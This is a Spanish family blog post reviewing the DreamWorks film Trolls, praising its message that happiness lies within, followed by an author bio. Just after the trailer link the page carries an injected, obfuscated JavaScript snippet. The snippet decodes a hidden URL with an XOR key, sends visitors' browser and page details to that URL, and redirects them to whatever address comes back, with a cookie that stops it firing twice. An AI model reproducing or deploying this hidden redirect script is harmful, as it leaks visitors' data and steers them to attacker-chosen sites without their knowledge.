Trolls, un animado viaje hacia la felicidad

El viernes 28 de octubre se estrena Trolls, la película de animación que barrerá con toda seguridad todos los récords de taquilla en las próximas semanas. Como datos de presentación te diré que lleva el sello de Dreamworks y que es de los mismos creadores de Shrek, Madagascar o Kung Fu Panda. Pero Trolls será todo un éxito, sobre todo, por el mensaje que transmite: la felicidad está dentro de nosotros.

Lo primero que debería hacer para contextualizar este post es contarte de qué va Trolls, pero no, no lo voy a hacer, porque dejando a un lado el argumento de la película que siempre se puede buscar en internet o leer en un periódico, esta vez quiero hablar de las lecciones que nos da este título para grandes y pequeños y que tienen mucho que ver con las emociones. Si estás contenta y eres 100 % feliz eres como Poppy, un troll que nunca ha tenido que enfrentarse a un problema, que destaca por el color fuscia de su pelo, por su optimismo y buen humor, y que lidera a esta comunidad con bastante éxito. Y en el otro lado, Branch, un personaje gris que vive agobiado por si en un futuro, sí 20 años después, llega una tragedia a su pueblo. Y viendo el contraste entre uno y otro, una se pregunta: ¿Yo soy más Poppy o más Branch? Quizás una mezcla, porque aunque nos gustaría ser Poppy todo el tiempo y después de conocerla ese es mi propósito, muchas veces nos volvemos gris con los problemas diarios. Pero se puede ser feliz y compartir ese estado con los que nos rodean, porque como dice su protagonista al final de la historia: “La felicidad está dentro de nosotros”. Yo, como digo, voy a intentar cambiar el chip, pero no soy la única. Mi hija Elena de cinco años también ha captado perfectamente el mensaje, porque según me dijo cuando llegamos a casa después de ver esta película: «No quiero ser gris». ¡Estos peques son más receptivos de lo que pensamos!
Otro mensaje que guarda Trolls es el que nos llega a través del personaje de Fregona, que demuestra que con seguridad en uno mismo, fuerza interior y coraje se puede conseguir todo lo que uno se proponga. ¡Tres hurras por Fregona!
Y en esta aventura de emociones, donde los puntos cómicos, que son muchos y muy buenos, se mezclan con momentos en los que una tiene la lágrima a punto de caer por la mejilla, la música juega un papel relevante, y es que el tema de Justin Timberlake, Can’t Stop This Feeling, levanta de la butaca a cualquiera.
En casa nos ha gustado tanto la película que, con permiso de Poppy, vamos a instaurar una nueva costumbre que ella ha establecido en Villa Troll: La hora de los abrazos. Lo que todavía tenemos que decidir es si, como en este pequeño lugar, será cada 60 minutos o lo reduciremos a dos o tres momentos al día. Y si aún después de lo que te cuento, tienes dudas sobre lo que te vas a encontrar en Trolls, ficha el tráiler y juzga por ti mismo. Esto es solo un aperitivo de una aventura musical cargada de felicidad que disfrutarás de principio a fin.

https://www.youtube.com/watch?v=dwSVxLssdVE var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Acerca de Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N